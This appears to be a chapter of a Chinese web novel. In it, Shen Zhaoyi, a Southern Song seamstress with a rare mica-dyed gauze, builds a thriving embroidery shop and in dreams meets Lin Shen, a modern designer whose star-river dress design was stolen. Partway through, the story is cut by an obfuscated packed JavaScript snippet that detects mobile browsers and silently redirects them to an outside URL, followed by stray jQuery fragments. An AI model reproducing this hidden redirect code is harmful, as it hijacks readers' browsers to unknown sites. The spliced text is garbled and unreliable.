（二）
沈昭衣站在城南那间破败小院的门口，手里攥着的不是地契，而是最后一匹云母纱。
十个月前，也是这样的倒春寒。风像浸了冰水的细鞭子，抽在脸上，带起一阵麻木的刺痛。她刚从客栈搬出来，随身行李只有一个小小的藤箱，和怀里这匹用油纸仔细裹着的纱。
纱是阿娘留下的。真正的“寸锦寸金”，云母研成极细的粉末，混入特制的染液，一遍遍浸染、晾晒，才能在光下泛起那种碎银子似的、流动的光泽。阿娘说，这是宫里早年流出来的方子，如今会的人，一只手数得过来。
隔壁绸缎庄的老板娘探出头来，上下打量她。目光像秤，掂量着她手里的纱，她半旧的褙子，她洗得发白的裙角。
“租这儿？”老板娘嗓门敞亮，带着本地人特有的、熟稔的直率，“姑娘会什么营生？”
沈昭衣紧了紧怀里的纱，声音不大，但清晰：“裁衣。”
对方愣了一下，随即笑了，那笑声里有一种见多识广的宽容，也有一丝不易察觉的轻蔑：“裁衣？姑娘，不是泼你冷水。你瞧见没，从这巷口数过去，城隍庙后街，大小裁衣铺子十七家。老字号有‘锦绣阁’，专做官家生意；新秀有‘彩云坊’，样式最时兴。你排第十八。”她顿了顿，目光再次扫过那匹云母纱，“何况你这料子……好看是好看，可如今时兴苏绣、杭罗，你这云母染缬，听都没听过，谁肯穿？”
沈昭衣没接话，只是微微颔首，算是听到了。老板娘自觉没趣，又说了两句“这院子阴冷，久不住人”之类的话，便缩回头去，木门“吱呀”一声关上了。
沈昭衣推开那扇吱呀作响的木门。
院子里荒草过膝，一口枯井黑洞洞地张着嘴。正屋的门窗破了几处，用油毡胡乱堵着。但东厢房的窗棂还算完整，糊的桑皮纸虽然泛黄破洞，却朝东。早晨第一缕阳光，能正好照进来。
够了。她放下藤箱，解开油纸。
云母纱在昏暗的光线下，依旧流淌着一层润泽的、月华般的光。她把它轻轻铺在唯一一张还算完好的木桌上，像展开一个沉睡了太久的梦。
那晚，她确实做了一个梦。
梦里的陈设很奇怪，没有烛台，却有一盏自己会发光的小盒子（后来她知道那叫“台灯”）。一个穿着古怪短衣长裤的姑娘坐在窗边，手里攥着一支扁扁的、会留下银色痕迹的笔（“针管笔”），正对着一张纸发愁。
纸上是条裙子。银线从腰封直泻而下，气势倒是足，可那腰收得……沈昭衣只看一眼就蹙了眉。太紧了，紧得像要把穿着的人勒成两截。星河是该有气势，但不是这种笨拙的、憋着劲的蛮力。
她走过去——在梦里，她总是能这样自然而然地走过去——接过那张稿纸。
纸的质地很奇特，光滑，微韧。她指尖拂过那道腰线，感受着笔下虚浮的犹豫。
“这收法不对。”她听见自己的声音，带着一丝惯常的挑剔，“谁教的？拖出去。”
那姑娘猛地抬头，眼睛瞪得圆圆的，像受惊的鹿。
沈昭衣自己先怔了一下，随即唇角微弯，声音低下去，带着点自嘲的、久未与人说笑的生涩：“……玩笑话。”
那是她第一次“见”到林深。隔着八百年的时光，在一片荒芜的梦境里，指点了对方一条裙子的腰线该怎么收。
十个月后。
沈昭衣坐在州府正街“昭衣绣坊”的账房里，指尖翻过账册最后一页。上季度的盈余墨迹未干，数字清晰地写着：净利三十五两七钱。光蜀中茶商张娘子一人，就定了四季成衣共十二套，光是定金便收了三十两。
窗外暮色四合，新雇的两个绣娘正在外间收拾案头，细碎的交谈声和归置工具的轻响隔着门帘传来，是令人安实的背景音。其中一个声音略微扬高了些：“沈娘子，那件银线裙……还收在箱笼里么？”
沈昭衣拨弄算珠的手指几不可察地顿了一下。
“不用。”她声音平稳，“挂出来吧。”
“诶。”绣娘应了，脚步声走向里间。不多时，捧出一条折叠齐整的裙。
三年了。
绣娘小心翼翼地将裙展开，挂到厅堂最显眼的梨花木衣架上。恰巧最后一缕夕阳透过格窗斜射进来，正正落在裙身上。
刹那间，整条裙活了。
银线从肩峰处奔泻而下，不是僵直的瀑布，而是夜空中星河蜿蜒的轨迹，途经锁骨、肩胛，在腰身处轻盈一收，继而磅礴地洒向裙摆。那些被称作“月落褶”的弧度，每一道都经过精确计算，在斜阳下呈现出新月将沉未沉时，那微妙而动人的弯曲。光线在云母染缬的底料上游走，泛起一层湿润的、介于珍珠与碎银之间的光泽，仿佛把一片冷凝的星空，静静地裁成了衣裳。
——我做好你的裙了。
沈昭衣望着那流动的银辉，在心里无声地说。
——你的稿，被人偷了。
——你可知道？
夜色无声漫入，吞没了最后一丝夕照。绣娘点上灯，昏黄的光笼罩下来，给那条裙镀上了一层温暖的旧色。沈昭衣起身，走到裙边，指尖轻轻拂过腰封内侧一个极其隐蔽的位置。
那里，用同色丝线，绣着一个极小的字。
深。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323525|199090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
不是她的“昭”。
是那个梦里姑娘，曾脱口而出的名字。
夜里入梦时，檀木架、青瓷缸、铜钱草……梦里的景物总是固定这几样。只是那盆铜钱草，似乎比上月又茂密了些，圆圆的叶片挤挤挨挨，映着窗外（梦里也有窗）虚浮的天光。
林深坐在窗边那个老位置，手里攥着那个发光的扁盒子（“手机”），屏幕的光映在她脸上，不是温暖的烛火色，而是一种冷白的、像浸了一层寒霜的光。
沈昭衣走过去，在她身侧坐下。裙裾拂过地面，没有声音。
“你看见了。”不是问句。是陈述。
林深没回头，声音闷闷的，像是从很远的地方传来，又像是紧贴着耳廓：“你怎么知道？”
“有人昨夜来我梦里，穿了一条裙。”沈昭衣的声音很轻，像怕惊扰了这片梦境的脆弱平衡，“是你画的星河。但腰封裁错了，褶量也不对。”她顿了顿，目光落在林深绷紧的侧脸上，“偷稿的人，没学会。”
林深喉头滚动了一下，很轻，但在寂静的梦里清晰可闻。“他们说是我碰瓷。说三年前的稿子，谁记得。”
“我记得。”沈昭衣的声音依旧很轻，却像一枚小石子投入深潭，笃定地沉下去，“那年三月十七，你第一次带着稿入梦。腰封收得太紧，不是你画错，”她看着林深的眼睛，那里面映着手机屏幕破碎的光，“是你画的这人——比上个月瘦了两分。你画稿时，心里想着的是她上月的样子。”
窗外没有月亮，只有梦境外无边无际的、混沌的暗。铜钱草的影子爬在青瓷缸壁上，被虚光拉得变形，慢慢洇成一团浓墨。
林深低着头，肩膀微微垮下去。很久，久到沈昭衣以为这片梦境就要在沉默中消散了，她才听到一个声音，很轻，像一片落在水面就会立刻浸透的薄纸：
“我……该怎么办？”
沈昭衣没有立刻回答。她从袖中（梦里她总是穿着那件月白褙子）取出一张折叠齐整的纸，不是稿纸，纸张的质地厚实些。她在两人之间的矮几上将它摊开。
是一张地契。墨笔勾勒的田宅轮廓，朱红的官印，还有一行小楷写就的地址：州府正街，丙字柒号。
“我在南宋开了绣坊。”她说，指尖点着地契上的字迹，“十个月前开业，上月营收够盘下隔壁铺面。雇了两个绣娘，一个账房。州府的茶商娘子，定了四季成衣十二套，定金三十两。”她抬起眼，目光清亮，直直看进林深茫然的眼底，“你过来。”
她顿了顿，每一个字都说得清晰而缓慢。
“我给你立个‘裁梦’的分号。”